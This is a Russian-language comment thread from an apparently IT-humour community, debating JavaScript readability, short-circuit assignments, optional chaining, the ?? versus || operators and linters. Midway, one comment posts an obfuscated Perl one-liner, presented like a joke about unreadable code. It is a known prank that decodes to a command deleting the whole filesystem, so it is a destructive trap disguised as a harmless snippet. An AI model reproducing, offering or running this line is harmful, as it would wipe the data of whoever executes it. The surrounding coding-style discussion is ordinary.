Wake up, Neo!
Нашёл в просторах многолетнего рабочего проекта 😂
Нашёл в просторах многолетнего рабочего проекта 😂
Кроме переменной с названием "юзатьРежимГовнокода" не вижу никакой особой проблемы в представленном куске кода.
Ну кроме того, что автор — мудак и не умеет писать нормальные комментарии и коды ошибок.
Ого? У них в этой конторе что гнездо? )
Вообще за подобные комментарии или коды ошибок в приличной конторе могут и штрафануть
Код выше — отличный пример "зацените как я могу".
Вообще запись a = b && c || a - горе от ума которым часто страдают мидлы на дороге к сеньорам. Потом они понимают, что гораздо важнее чтобы код был читаемым, а не вот это вот всё
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{\\>%<-{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Именно из-за этого многие программы - write-only. Потому что читать это потом невыносимо никому, даже самим авторам этого кода через пару лет.
Гораздо лучше для суппорта бить на функции и использовать обычный if-else. А подобные конструкции использовать только очень точечно, скажем в closures или в строке return.
А, еще это типично при задании опций, типа, const windowSize = config.WS || constants.WS || 200;
Я говорил конкретно про конструкцию a = b && c, и особенно a = b && c || a
Она плохая потому что при чтении ты читаешь слева направо, и интуитивно думаешь, что значение а будет сменено, а потом оказывается что нет. Условие смешано со значением. Ментально ты споткнёшься, задумаешься и всё равно в голове выстроишь if-else. При записи if (b) a = c замешательства не возникает. А вторая форма где в конце "... || a" – ещё хуже.
У вас же конструкция a = b || c || d, с ней подобных проблем не вызывает. Значение а будет сменено.
А еще, я недавно видел в какой-то библиотеке конструкции типа:
const a = b || throw 'b is null'
Вот тут совсем неожиданно может получиться :)
Конкретно тут соглашусь, это костыль. Еще и лишнее присвоение. Я рассчитывал после или присвоить дефлотное значение, но я ж не знаю, какое оно у автора кода. Вообще, мой изначальный посыл был в том, что оригинальный текст можно переписать точно так же двумя строчками, не используя try-catch.
eslint используют 5.7млн репозиториев на гитхабе, там есть правило, которое запрещает такие записи)
https://eslint.org/docs/rules/no-mixed-operators
Согласен, скобки лучше добавлять, хотя, в данном конкретном случае я бы и не стал.
(city && city.name) || DEFAULT_CITY_NAME
или
city ? city.name : DEFAULT_CITY_NAME
Сейчас насколько помню достаточно писать
const cityName = city?.name || DEFAULT_NAME;
В любом случае ИМХО нужно просто на любом проекте, где больше 1 разработчика, подключать линтер, чтобы уменьшить вероятность возникновения недопонимания.
Будь это мой кейс, написал бы:
this.filteredCity = this.cities.find(({ id }) => this.user.city_id === id)?.name || 'Unknown'
Но нет
Вот, например:
bool IsConferenceDay(DateTime? date) => date is { Year: 2020, Month: 5, Day: 19 or 20 or 21 };
При этом, если date null, оно не упадет
?? вместо ||
?? работает в том типе в котором определена переменная, || тип может поменять.
а вообще по моему скромному мнению, то если это filteredCity, то это как бы подразумевает объект, ибо если мы забираем название, то тогда уже filteredCityName правильнее. Ну, это уже если чисто доколпуаться до нэйминга
Нуль-колизный оператор ("??") не вернёт дефолтное значение в том случае, если переменная существует, но пуста. А вот если значение "null", тогда вернёт дефолтное.
Оператор "OR" ("||") решает эту проблему в данном случае.
не буду спорить с тобой, делай как знаешь. Но в string пустая строка '' не является дефолтным - это значение. Дефолт для стринга это undefined. И далее, кто сказал, что в коде строки не должны быть пустые? И вот тут ты можешь накосячить тем, что || изменит пустые данные, а где-то по коду они и должны быть пустые
Вот за такой код, я своих кодеров пизжу ссаными тряпками. Такие выебоны в коде сводят читаемость оного к нулю. И поддерживать это - пиздец как тяжело, в том числе и самим разрабам.
нормальная читаемость. Особенно в скрипте. А если бы по коду был не промис, а обзервер и filteredCity получался мапом через пайп? Так было бы правильнее, но без опыта читать было бы труднее.
Есть один знакомый, который из проектов вырезает lodash "патамуштапиздецтяжёлыйигрузитпроект".
А потом изобретает велосипед, внедряя свои костыли, функционал которых есть в lodash в значительно лучшем виде.
IT-юмор
5.7K постов52.5K подписчиков
Правила сообщества
Не публикуем посты:
1) с большим количеством мата
2) с просьбами о помощи
3) не относящиеся к IT-юмору